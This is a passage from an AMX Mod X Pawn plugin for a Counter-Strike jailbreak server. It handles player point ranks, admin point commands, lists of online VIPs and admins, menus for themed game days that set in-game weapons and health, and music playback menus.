  1978. get_user_name(tempid, name, sizeof(name) - 1)
  1979.  
  1980. if(playerpoints[tempid] <= 50) formatex(_status[tempid], 16, "Ex' Beginner")
  1981. else if(playerpoints[tempid] <= 100) formatex(_status[tempid], 16, "Ex' Novice")
  1982. else if(playerpoints[tempid] <= 200) formatex(_status[tempid], 16, "Ex' Distinguished")
  1983. else if(playerpoints[tempid] <= 300) formatex(_status[tempid], 16, "Ex' Competent")
  1984. else if(playerpoints[tempid] <= 400) formatex(_status[tempid], 16, "Ex' Master")
  1985. else if(playerpoints[tempid] <= 500) formatex(_status[tempid], 16, "Ex' Winner")
  1986. else if(playerpoints[tempid] <= 1000) formatex(_status[tempid], 16, "Ex' Killer")
  1987. else formatex(_status[tempid], 16, "Ex' Millyoner")
  1988.  
  1989. ColorChat(client, "^4The Number of points that ^3%s^4 has is:^3 %i ^1%s", name, playerpoints[tempid], _status[tempid])
  1990.  
  1991. PlayerPointsMenu(client)
  1992. }
  1993.  
  1994. public Ham_UseButton(iEnt, iAttacker) {
  1995. if (!get_cvar_num("use_buttons"))
  1996. return
  1997. else
  1998. dllfunc(DLLFunc_Use, iEnt, iAttacker)
  1999. }
  2000.  
  2001. ResetMaxspeed(id)
  2002. {
  2003. static Float:max_speed
  2004. switch (get_user_weapon(id))
  2005. {
  2006. case CSW_SG550, CSW_AWP, CSW_G3SG1: max_speed = 210.0
  2007. case CSW_M249: max_speed = 220.0
  2008. case CSW_AK47: max_speed = 221.0
  2009. case CSW_M3, CSW_M4A1: max_speed = 230.0
  2010. case CSW_SG552: max_speed = 235.0
  2011. case CSW_XM1014, CSW_AUG, CSW_GALIL, CSW_FAMAS: max_speed = 240.0
  2012. case CSW_P90: max_speed = 245.0
  2013. case CSW_SCOUT: max_speed = 260.0
  2014. default: max_speed = 250.0
  2015. }
  2016.  
  2017. entity_set_float(id, EV_FL_maxspeed, max_speed)
  2018. }
  2019.  
  2020. public cmd_give_points(id,level,cid)
  2021. {
  2022. if(get_user_flags(id) & ADMIN_RCON)
  2023. {
  2024. new target[32], amount[21], reason[21]
  2025.  
  2026. read_argv(1, target, 31)
  2027. read_argv(2, amount, 20)
  2028. read_argv(3, reason, 20)
  2029.  
  2030. new player = cmd_target(id, target, 8)
  2031.  
  2032. if(! player)
  2033. return PLUGIN_HANDLED
  2034.  
  2035. new admin_name[32], player_name[32]
  2036. get_user_name(id, admin_name, 31)
  2037. get_user_name(player, player_name, 31)
  2038.  
  2039. new pointnum = str_to_num(amount)
  2040.  
  2041. playerpoints[player] += pointnum
  2042.  
  2043. switch(get_cvar_num ("amx_show_activity"))
  2044. {
  2045. case 1: client_print(0, print_chat, "ADMIN: gave %i points for %s.", pointnum, player_name)
  2046. case 2: client_print(0, print_chat, "ADMIN %s: gave %i points for %s.", admin_name, pointnum, player_name)
  2047. }
  2048. client_print(player, print_chat, "You received %i points.(Total: %d)", pointnum, playerpoints[player])
  2049. SaveData(id)
  2050. }
  2051. return PLUGIN_HANDLED
  2052. }
  2053.  
  2054. public cmd_take_points(id,level,cid)
  2055. {
  2056. if(get_user_flags(id) & ADMIN_RCON)
  2057. {
  2058. new target[32], amount[21], reason[21]
  2059.  
  2060. read_argv(1, target, 31)
  2061. read_argv(2, amount, 20)
  2062. read_argv(3, reason, 20)
  2063.  
  2064. new player = cmd_target(id, target, 8)
  2065.  
  2066. if(!player)
  2067. return PLUGIN_HANDLED
  2068.  
  2069. new admin_name[32], player_name[32]
  2070. get_user_name(id, admin_name, 31)
  2071. get_user_name(player, player_name, 31)
  2072.  
  2073. new pointnum = str_to_num(amount)
  2074.  
  2075. playerpoints[player] -= pointnum
  2076.  
  2077. switch(get_cvar_num("amx_show_activity"))
  2078. {
  2079. case 1: client_print(0, print_chat, "ADMIN: took %i points from %s.", pointnum, player_name)
  2080. case 2: client_print(0, print_chat, "ADMIN %s: took %i points from %s.", admin_name, pointnum, player_name)
  2081. }
  2082. client_print(player, print_chat, "You lost %i points. (Total: %d)", pointnum, playerpoints[player])
  2083. SaveData(id)
  2084. }
  2085. return PLUGIN_HANDLED
  2086. }
  2087.  
  2088. public ShowVIP(user)
  2089. {
  2090. ShowAdmin(user)
  2091. new message[256]
  2092. new adminnames[33][32]
  2093. new id, count, x, len
  2094.  
  2095. for(id = 1 ; id <= g_max_clients ; id++)
  2096. if(is_user_connected(id))
  2097. if(get_user_flags(id) & VIP_FLAG || get_vip[id])
  2098. get_user_name(id, adminnames[count++], 31)
  2099. len = format(message, 255, "^4 [Ex`] VIPS ONLINE: ")
  2100. if(count > 0) {
  2101. for(x = 0 ; x < count ; x++) {
  2102. len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
  2103. if(len > 96) {
  2104. print_message(user, message)
  2105. len = format(message, 255, "^4 ")
  2106. }
  2107. }
  2108. print_message(user, message)
  2109. }
  2110. else {
  2111. len += format(message[len], 255-len, "No vips online.")
  2112. print_message(user, message)
  2113. }
  2114. }
  2115.  
  2116. public ShowAdmin(user)
  2117. {
  2118. new message[256]
  2119. new adminnames[33][32]
  2120. new id, count, x, len
  2121.  
  2122. for(id = 1 ; id <= g_max_clients ; id++)
  2123. if(is_user_connected(id))
  2124. if(get_user_flags(id) & ADMIN_RCON)
  2125. get_user_name(id, adminnames[count++], 31)
  2126. len = format(message, 255, "^4 [Ex`] TOP ADMINS ONLINE: ")
  2127. if(count > 0) {
  2128. for(x = 0 ; x < count ; x++) {
  2129. len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
  2130. if(len > 96) {
  2131. print_message(user, message)
  2132. len = format(message, 255, "^4 ")
  2133. }
  2134. }
  2135. print_message(user, message)
  2136. }
  2137. else {
  2138. len += format(message[len], 255-len, "No top admins online.")
  2139. print_message(user, message)
  2140. }
  2141. }
  2142.  
  2143. public ShowMenu(id, g_ShowMenu, item)
  2144. {
  2145. if(item == MENU_EXIT)
  2146. return
  2147. new Data[7], Name[64], Access, Callback, adname[33]
  2148. get_user_name(id, adname, 31)
  2149. menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
  2150. new Key = str_to_num(Data)
  2151.  
  2152. switch(Key)
  2153. {
  2154. case 1:
  2155. {
  2156. ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
  2157. zombieday = true
  2158. ActionZombie()
  2159. }
  2160. case 2:
  2161. {
  2162. ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
  2163. hns_fd = true
  2164. ActionHns()
  2165. }
  2166. case 3:
  2167. {
  2168. ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
  2169. ActionShark()
  2170. }
  2171. case 4:
  2172. {
  2173. ColorChat(0, "^4%s^1 started^4 Free day !", adname)
  2174. hns_fd = true
  2175. ActionFree()
  2176. }
  2177. case 5:
  2178. {
  2179. ColorChat(0, "^4%s^1 started^4 NightCrawler Day !", adname)
  2180. ActionNightCrawler()
  2181. }
  2182. case 6:
  2183. {
  2184. ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
  2185. Actionspartanday()
  2186. }
  2187. case 7: ShowMusicMenu(id)
  2188. case 8:
  2189. {
  2190. ColorChat(0, "^4%s^1 started^4 War Day !", adname)
  2191. ActionWarday()
  2192. }
  2193. case 9:
  2194. {
  2195. ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
  2196. Deathmatch = true
  2197. ActionDeathmatch()
  2198. }
  2199. case 10:
  2200. {
  2201. ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
  2202. ActionBirthDay()
  2203. set_task(5.0, "GetRandomPlayer")
  2204. }
  2205. case 11:
  2206. {
  2207. ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
  2208. ActionKnifeDay()
  2209. knifeday = true
  2210. }
  2211. case 12:
  2212. {
  2213. ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
  2214. ActionGrenadeDay()
  2215. grenadeday = true
  2216. }
  2217. case 13:
  2218. {
  2219. ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
  2220. ActionNorDealgeDay()
  2221. nordeagleday = true
  2222. }
  2223. case 14:
  2224. {
  2225. ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
  2226. ActionJumpDay()
  2227. }
  2228. case 15:
  2229. {
  2230. ColorChat(0, "^4%s^1 started^4 Special Day", adname)
  2231. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
  2232. set_task(5.0, "ActionRandomDay")
  2233. set_task(20.0, "ShowSpecialHook")
  2234. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  2235. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  2236. }
  2237. case 16:
  2238. {
  2239. ColorChat(0, "^4%s^1 started^4 Random Day !", adname)
  2240. set_task(5.0, "ActionRandomDay")
  2241. set_hudmessage(0, 255, 0, 0.08, -1.0, 0, 6.0, 4.0)
  2242. show_hudmessage(0, "Random day will start in 5 seconds !!")
  2243. }
  2244. case 17:
  2245. {
  2246. new g_OptionMenu = menu_create("\r[\w BeatTheB Jail \r]\y Admin Option Menu", "OptionMenu")
  2247.  
  2248. new szNum[3]
  2249. for(new i = 0 ; i < sizeof MessageOpt ; i++) {
  2250. num_to_str(i+1 , szNum , 2)
  2251. menu_additem(g_OptionMenu , MessageOpt[i], szNum)
  2252. }
  2253. menu_display(id, g_OptionMenu)
  2254. }
  2255. } if(Key != 7 && Key != 15 && Key != 16 && Key != 17)
  2256. actiondays = true
  2257. }
  2258. public PlayerShowMENU(id, item)
  2259. {
  2260. if(item == MENU_EXIT)
  2261. return
  2262. new Data[7], Name[64], Access, Callback, adname[33]
  2263. get_user_name(id, adname, 31)
  2264. menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
  2265. new Key = str_to_num(Data)
  2266.  
  2267. switch(Key)
  2268. {
  2269. case 1:
  2270. {
  2271. ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
  2272. zombieday = true
  2273. ActionZombie()
  2274. }
  2275. case 2:
  2276. {
  2277. ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
  2278. hns_fd = true
  2279. ActionHns()
  2280. }
  2281. case 3:
  2282. {
  2283. ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
  2284. ActionShark()
  2285. }
  2286. case 4:
  2287. {
  2288. ColorChat(0, "^4%s^1 started^4 Free day !", adname)
  2289. hns_fd = true
  2290. ActionFree()
  2291. }
  2292. case 5:
  2293. {
  2294. ColorChat(0, "^4%s^1 started^4 NightCrawler Day !", adname)
  2295. ActionNightCrawler()
  2296. }
  2297. case 6:
  2298. {
  2299. ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
  2300. Actionspartanday()
  2301. }
  2302. case 7:
  2303. {
  2304. ColorChat(0, "^4%s^1 started^4 War Day !", adname)
  2305. ActionWarday()
  2306. }
  2307. case 8:
  2308. {
  2309. ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
  2310. Deathmatch = true
  2311. ActionDeathmatch()
  2312. }
  2313. case 9:
  2314. {
  2315. ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
  2316. ActionBirthDay()
  2317. set_task(5.0, "GetRandomPlayer")
  2318. }
  2319. case 10:
  2320. {
  2321. ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
  2322. ActionKnifeDay()
  2323. knifeday = true
  2324. }
  2325. case 11:
  2326. {
  2327. ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
  2328. ActionGrenadeDay()
  2329. grenadeday = true
  2330. }
  2331. case 12:
  2332. {
  2333. ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
  2334. ActionNorDealgeDay()
  2335. nordeagleday = true
  2336. }
  2337. case 13:
  2338. {
  2339. ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
  2340. ActionJumpDay()
  2341. }
  2342. case 14:
  2343. {
  2344. ColorChat(0, "^4%s^1 started^4 Special Day", adname)
  2345. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
  2346. set_task(5.0, "ActionRandomDay")
  2347. set_task(20.0, "ShowSpecialHook")
  2348. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  2349. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  2350. }
  2351. }
  2352. }
  2353. public ActionCtDays(id)
  2354. {
  2355. new szName[32]
  2356. get_user_name(id, szName, charsmax(szName))
  2357. ColorChat(0, "Guard ^4%s^1 started^4 Special Day", szName)
  2358. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
  2359. set_task(5.0, "ActionRandomDay")
  2360. set_task(20.0, "ShowSpecialHook")
  2361. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  2362. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  2363. }
  2364. public ShowMusicMenu(id)
  2365. {
  2366. new g_MusicMenu = menu_create("\r[\w BeatTheB Jail \r]\y Music Menu", "MusicMenu")
  2367.  
  2368. new szNum[4]
  2369. for(new i = 0 ; i < sizeof SongsName ; i++) {
  2370. num_to_str(i , szNum , 3)
  2371. menu_additem(g_MusicMenu , SongsName[i], szNum)
  2372. }
  2373. menu_display(id, g_MusicMenu)
  2374. }
  2375.  
  2376. public MusicMenu(id, g_MusicMenu, item)
  2377. {
  2378. if(item == MENU_EXIT)
  2379. return
  2380. new szKey[3], adname[33], Dummy
  2381. get_user_name(id, adname, 32)
  2382. menu_item_getinfo(g_MusicMenu, item, Dummy, szKey, 2, "", 0, Dummy)
  2383.  
  2384. new key = str_to_num(szKey)
  2385. if(key == 0) ShowMusicCustomized(0)
  2386. else if(key == sizeof SongsName-1) {
  2387. client_cmd(0, "mp3 stop;stopsound")
  2388. ColorChat(0, "^4%s ^1stoped the music !", adname)
  2389. } else {
  2390. client_cmd(0, "mp3 play ^"sound/Extreme-Jail/%s.mp3^"", SongsData[key-1])
  2391. ColorChat(0, "^4%s ^1started^3 ^"^1 %s^3 ^"^1 song !", adname, SongsName[key])
  2392. }
  2393. }
  2394.  
  2395. public ShowMusicCustomized(id)
  2396. {
  2397. new Customized = menu_create("\r[\w BeatTheB Jail \r]\y Music Customized Menu^n\dType !music or /music to reopen The Menu", "MusicCustomized")
  2398.  
  2399. new szNum[4], players[32], pnum
  2400. for(new i = 0 ; i < sizeof SongsNameC ; i++) {
  2401. num_to_str(i, szNum , 3)
  2402. menu_additem(Customized , SongsNameC[i], szNum)
  2403. } if(id == 0) {
  2404. get_players(players, pnum)
  2405. for(new i; i<pnum; i++)
  2406. menu_display(players[i], Customized)
  2407. } else
  2408. menu_display(id, Customized)
  2409. }
  2410.  
  2411. public MusicCustomized(id, Customized, item)
  2412. {
  2413. if(item == MENU_EXIT)
  2414. return
  2415. new szKey[3], Dummy
  2416. menu_item_getinfo(Customized, item, Dummy, szKey, 2, "", 0, Dummy)
  2417.  
  2418. new key = str_to_num(szKey)
  2419. if(key == sizeof SongsNameC-1) {
  2420. client_cmd(id, "mp3 stop;stopsound")
  2421. ColorChat(id, "you stoped the music")
  2422. } else {
  2423. client_cmd(id, "mp3 play ^"sound/Extreme-Jail/%s.mp3^"", SongsData[key])
  2424. ColorChat(id, "you started^3 ^"^1 %s^3 ^"^1 song !", SongsNameC[key])
  2425. }
  2426. }
  2427.  
  2428. public OptionMenu(id, g_OptionMenu, item)
  2429. {
  2430. if(item == MENU_EXIT)
  2431. return
  2432. new Data[7], Name[64], Access, Callback, adname[33]
  2433. get_user_name(id, adname, 31)
  2434. menu_item_getinfo(g_OptionMenu, item, Access, Data,5, Name, 63, Callback)
  2435. new Key = str_to_num(Data)
  2436.  
  2437. switch(Key)
  2438. {
  2439. case 1:
  2440. {
  2441. ColorChat(0, "^4%s Enable^4 ''^1 No Zoom^4 ''^1 !", adname)
  2442. EnableHamForward(ForwardSecAttackAwp)
  2443. EnableHamForward(ForwardSecAttackScout)
  2444. }
  2445. case 2:
  2446. {
  2447. ColorChat(0, "^4%s Disable^4 ''^1 No Zoom^4 ''^1 !", adname)
  2448. DisableHamForward(ForwardSecAttackAwp)
  2449. DisableHamForward(ForwardSecAttackScout)
  2450. }
  2451. case 3:
  2452. {
  2453. ColorChat(0, "^4%s started^4 ''^1 count down 30 sec^4 ''^1 !", adname)
  2454. rar = 30
  2455. ShowTimer()
  2456. }
  2457. case 4:
  2458. {
  2459. ColorChat(0, "^4%s started^4 ''^1 count down 60 sec^4 ''^1 !", adname)
  2460. rar = 60
  2461. ShowTimer()
  2462. }
  2463. case 5:
  2464. {
  2465. if(!g_iSprayMessages) {
  2466. g_iSprayMessages = true
  2467. ColorChat(0, "^4%s ^3Enable^4 spray messages for everyone to see.", adname)
  2468. } else if(g_iSprayMessages) {
  2469. g_iSprayMessages = false
  2470. ColorChat(0, "^4%s ^3Disable^4 spray messages for everyone to see.", adname)
  2471. }
  2472. }
  2473. }
  2474. menu_destroy(g_OptionMenu)
  2475. }
  2476.  
  2477. ActionZombie()
  2478. {
  2479. rar = 100
  2480. set_task(20.0, "ShowTimer")
  2481. set_task(5.0, "AutoOpen")
  2482. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2483. show_hudmessage(0, "It is Zombie Day !!^ncount down 120 seconds!")
  2484. for(new i = 0; i < g_max_clients; i++)
  2485.  
  2486. if(IsPlayer(i) && is_user_alive(i))
  2487. {
  2488. switch(cs_get_user_team(i))
  2489. {
  2490. case CS_TEAM_T:
  2491. {
  2492. fm_strip_user_weapons(i)
  2493. fm_set_user_health(i, 100)
  2494. }
  2495. case CS_TEAM_CT:
  2496. {
  2497. fm_strip_user_weapons(i)
  2498. fm_set_user_health(i, 30000)
  2499. fm_set_user_godmode(i, 1)
  2500. }
  2501. }
  2502. }
  2503. }
  2504.  
  2505. ActionHns()
  2506. {
  2507. rar = 100
  2508. set_task(20.0, "ShowTimer")
  2509. set_task(5.0, "AutoOpen")
  2510. for(new i = 0; i < g_max_clients; i++)
  2511.  
  2512. if(IsPlayer(i) && is_user_alive(i))
  2513. {
  2514. switch(cs_get_user_team(i))
  2515. {
  2516. case CS_TEAM_T:
  2517. {
  2518. fm_set_user_health(i, 100)
  2519. fm_strip_user_weapons(i)
  2520. fm_give_item(i,"weapon_knife")
  2521. }
  2522. case CS_TEAM_CT:
  2523. {
  2524. fm_strip_user_weapons(i)
  2525. fm_give_item(i,"weapon_knife")
  2526. fm_set_user_godmode(i, 1)
  2527. }
  2528. }
  2529. }
  2530. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2531. show_hudmessage(0, "It is Hide'N'Seek day !!^nRules:^n CT- Seekers T- Hiders^n CT team can only STABS !^n Hiders have only 120 seconds to find a place to hide^n When the time is over the Seekers must kill the Hiders with a^n KNIFE !")
  2532. }
  2533. ActionShark()
  2534. {
  2535. set_task(5.0, "AutoOpen")
  2536. for(new i = 0; i < g_max_clients; i++)
  2537.  
  2538. if(IsPlayer(i) && is_user_alive(i))
  2539. {
  2540. switch(cs_get_user_team(i))
  2541. {
  2542. case CS_TEAM_T:
  2543. {
  2544. fm_strip_user_weapons(i)
  2545. fm_give_item(i,"weapon_m4a1")
  2546. fm_give_item(i,"weapon_deagle")
  2547.  
  2548. cs_set_user_bpammo(i, CSW_M4A1, 250)
  2549. cs_set_user_bpammo(i, CSW_DEAGLE, 250)
  2550. }
  2551. case CS_TEAM_CT:
  2552. {
  2553. fm_set_user_health(i, 200)
  2554. fm_strip_user_weapons(i)
  2555. fm_give_item(i,"weapon_knife")
  2556. fm_set_user_noclip(i, 1)
  2557. }
  2558. }
  2559. }
  2560. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2561. show_hudmessage(0, "It is Shark Day !!^nJust kill each other !")
  2562. }
  2563. ActionFree()
  2564. {
  2565. rar = 140
  2566. set_task(20.0, "ShowTimer")
  2567. set_task(5.0, "AutoOpen")
  2568. for(new i = 0; i < g_max_clients; i++)
  2569. if(IsPlayer(i) && is_user_alive(i))
  2570. {
  2571. switch(cs_get_user_team(i))
  2572. {
  2573. case CS_TEAM_T: fm_set_user_health(i, 100)
  2574. case CS_TEAM_CT:
  2575. {
  2576. fm_strip_user_weapons(i)
  2577. fm_give_item(i,"weapon_m4a1")
  2578. fm_give_item(i,"weapon_deagle")
  2579. fm_give_item(i, "weapon_smokegrenade")
  2580.  
  2581. cs_set_user_bpammo(i, CSW_SMOKEGRENADE, 4)
  2582. cs_set_user_bpammo(i, CSW_M4A1, 120)
  2583. cs_set_user_bpammo(i, CSW_DEAGLE, 70)
  2584. fm_set_user_health(i, 100)
  2585. }
  2586. }
  2587. }
  2588. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2589. show_hudmessage(0, "Its a free day !!^nRules:^n all the terrorist allow to play in the map.^n the CT is in the weapons room for the past 160 seconds^n after 160 seconds the ct allow to go out and look for the terrorist and kill them")
  2590. }
  2591. ActionNightCrawler()
  2592. {
  2593. set_task(5.0, "AutoOpen")
  2594. for(new i = 0; i < g_max_clients; i++)
  2595. if(IsPlayer(i) && is_user_alive(i))
  2596. {
  2597. switch(cs_get_user_team(i))
  2598. {
  2599. case CS_TEAM_T:
  2600. {
  2601. fm_strip_user_weapons(i)
  2602. fm_give_item(i, "weapon_m4a1")
  2603. fm_give_item(i, "weapon_deagle")
  2604.  
  2605. cs_set_user_bpammo(i, CSW_M4A1, 999)
  2606. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  2607. }
  2608. case CS_TEAM_CT:
  2609. {
  2610. fm_strip_user_weapons(i)
  2611. fm_give_item(i, "weapon_knife")
  2612. fm_set_user_health(i, 250)
  2613. fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  2614. }
  2615. }
  2616. }
  2617. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2618. show_hudmessage(0, "It is NightCrawler Day !!^nCT - With 250 HP^nJust Kill The CT. !")
  2619. }
  2620. Actionspartanday()
  2621. {
  2622. set_task(5.0, "AutoOpen")
  2623. for(new i = 0; i < g_max_clients; i++)
  2624.  
  2625. if(IsPlayer(i) && is_user_alive(i))
  2626. {
  2627. switch(cs_get_user_team(i))
  2628. {
  2629. case CS_TEAM_T:
  2630. {
  2631. fm_strip_user_weapons(i)
  2632. fm_set_user_health(i, 300)
  2633. fm_give_item(i, "weapon_shield")
  2634. fm_give_item(i, "weapon_deagle")
  2635.  
  2636. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  2637. }
  2638. case CS_TEAM_CT:
  2639. {
  2640. fm_set_user_health(i, 500)
  2641. fm_strip_user_weapons(i)
  2642. fm_give_item(i, "weapon_deagle")
  2643. fm_give_item(i, "weapon_m4a1")
  2644.  
  2645. cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  2646. cs_set_user_bpammo(i, CSW_M4A1, 9999)
  2647. }
  2648. }
  2649. }
  2650. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2651. show_hudmessage(0, "It is Spartan Day !!^nCT - With 300 HP^nJust kill The CT.!")
  2652. }
  2653.  
  2654. ActionWarday()
  2655. {
  2656. set_task(5.0, "AutoOpen")
  2657. for(new i = 0; i < g_max_clients; i++)
  2658. {
  2659. if(IsPlayer(i) && is_user_alive(i))
  2660. {
  2661. fm_strip_user_weapons(i)
  2662. switch(cs_get_user_team(i))
  2663. {
  2664. case CS_TEAM_CT:
  2665. {
  2666. fm_give_item(i, "weapon_m4a1")
  2667. fm_give_item(i, "weapon_hegrenade")
  2668.  
  2669. cs_set_user_bpammo(i, CSW_M4A1, 999)
  2670. cs_set_user_bpammo(i, CSW_HEGRENADE, 999)
  2671.  
  2672. fm_set_user_health(i, 500)
  2673. }
  2674. case CS_TEAM_T: fm_give_item(i, "weapon_ak47") && cs_set_user_bpammo(i, CSW_AK47, 999)
  2675. }
  2676. fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999)
  2677. fm_set_user_health(i, 100)
  2678. fm_give_item(i, "weapon_knife")
  2679. }
  2680. }
  2681. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2682. show_hudmessage(0, "It is War Day !!^nCT - with 500 HP^nEveryall - Have Guns^nJust kill The CT.!")
  2683. }
  2684.  
  2685. ActionDeathmatch()
  2686. {
  2687. set_task(5.0, "AutoOpen")
  2688. for(new i = 0; i < g_max_clients; i++)
  2689. {
  2690. if(IsPlayer(i) && is_user_alive(i))
  2691. {
  2692. fm_strip_user_weapons(i)
  2693. if(cs_get_user_team(i) == CS_TEAM_CT)
  2694. fm_set_user_godmode(i, 1)
  2695. fm_set_user_health(i, 100)
  2696. fm_give_item(i, "weapon_knife")
  2697. }
  2698. }
  2699. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2700. show_hudmessage(0, "It is Deathmatch !!^nT - Just freekill.!^nCT - no kill !")
  2701. server_cmd("mp_friendlyfire 1")
  2702. }
  2703.  
  2704. ActionBirthDay()
  2705. {
  2706. set_task(5.0, "AutoOpen")
  2707. for(new i = 0; i < g_max_clients; i++)
  2708. {
  2709. if(IsPlayer(i) && is_user_alive(i))
  2710. {
  2711. switch(cs_get_user_team(i))
  2712. {
  2713. case CS_TEAM_CT: fm_set_user_godmode(i, 1) && fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 250, kRenderNormal, 20)
  2714. case CS_TEAM_T: fm_strip_user_weapons(i) && fm_set_user_rendering(i, kRenderFxGlowShell, 250, 0, 0, kRenderNormal, 20)
  2715. }
  2716. fm_set_user_health(i, 100)
  2717. fm_give_item(i, "weapon_knife")
  2718. }
  2719. }
  2720. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2721. show_hudmessage(0, "It is Birth Day !!^nIn 5 seconds automatically chooses^nprisoner who had a birthday.!")
  2722. }
  2723.  
  2724. ActionKnifeDay()
  2725. {
  2726. for(new i = 0; i < g_max_clients; i++)
  2727. {
  2728. if(IsPlayer(i) && is_user_alive(i))
  2729. {
  2730. fm_strip_user_weapons(i)
  2731. switch(cs_get_user_team(i))
  2732. {
  2733. case CS_TEAM_CT: fm_set_user_health(i, 2000)
  2734. case CS_TEAM_T: fm_set_user_health(i, 200)
  2735. }
  2736. fm_give_item(i, "weapon_knife")
  2737. }
  2738. }
  2739. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2740. show_hudmessage(0, "It is Knife Day !!^nCT - with 2000 HP^nT - with 200 HP^nJust Knife only.!")
  2741. }
  2742.  
  2743. ActionGrenadeDay()
  2744. {
  2745. set_task(5.0, "AutoOpen")
  2746. for(new i = 0; i < g_max_clients; i++)
  2747. {
  2748. if(IsPlayer(i) && is_user_alive(i))
  2749. {
  2750. fm_strip_user_weapons(i)
  2751. switch(cs_get_user_team(i))
  2752. {
  2753. case CS_TEAM_CT: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 2500)
  2754. case CS_TEAM_T: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 250)
  2755. }
  2756.  
  2757. }
  2758. }
  2759. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2760. show_hudmessage(0, "It is Grenade Day !!^nCT - with 2500 HP^nT - with 250 HP^nCome war!!!!!!.. :D")
  2761. }
  2762.  
  2763. ActionNorDealgeDay()
  2764. {
  2765. set_task(5.0, "AutoOpen")
  2766. for(new i = 0; i < g_max_clients; i++)
  2767. {
  2768. if(IsPlayer(i) && is_user_alive(i))
  2769. {
  2770. fm_strip_user_weapons(i)
  2771. switch(cs_get_user_team(i))
  2772. {
  2773. case CS_TEAM_CT: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 600)
  2774. case CS_TEAM_T: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 250)
  2775. }
  2776.  
  2777. }
  2778. }
  2779. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2780. show_hudmessage(0, "It is Deagle Day !!^nCT - with 600 HP^nT - with 250 HP^nFire Now.!")
  2781. }
  2782.  
  2783. ActionJumpDay()
  2784. {
  2785. set_task(5.0, "AutoOpen")
  2786. for(new i = 0; i < g_max_clients; i++)
  2787. {
  2788. if(IsPlayer(i) && is_user_alive(i))
  2789. {
  2790. switch(cs_get_user_team(i))
  2791. {
  2792. case CS_TEAM_CT: fm_set_user_godmode(i, 1)
  2793. case CS_TEAM_T: fm_set_user_health(i, 100) && fm_strip_user_weapons(i)
  2794. }
  2795.  
  2796. }
  2797. }
  2798. set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
  2799. show_hudmessage(0, "It is Jump Day !!^nCT - with Godmode^nT - with 100 HP^nJump Jump Jump Jump Jump !! :D")
  2800. }
  2801.  
  2802.  
  2803. public ActionRandomDay()
  2804. {
  2805. actiondays = true
  2806. switch(random_num(1,11))
  2807. {
  2808. case 1:
  2809. {
  2810. ColorChat(0, "start^4 Zombie day !^1 (By Random Day)")
  2811. ActionZombie()
  2812. zombieday = true
  2813. }
  2814. case 2:
  2815. {
  2816. ColorChat(0, "start^4 hide'n'seek !^1 (By Random Day)")
